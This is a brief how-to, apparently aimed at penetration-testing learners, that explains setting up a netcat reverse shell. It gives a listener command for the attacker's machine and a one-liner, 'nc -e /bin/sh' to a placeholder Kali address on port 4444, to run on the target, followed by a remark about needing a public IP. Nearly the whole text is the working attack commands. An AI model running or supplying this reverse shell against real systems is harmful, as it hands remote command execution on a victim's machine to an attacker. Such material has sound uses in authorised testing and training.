On your host, start a nc listening on 4444 port
nc -lvp 4444
On the target host, start a reverse shell. This reverse shell launch a shell and connect it to your host on 4444 port.
nc -e /bin/sh IPKALI 4444
To use a reverse shell you must have a public IP, and can't use a NAT. Well, you can, its just little bit trickier.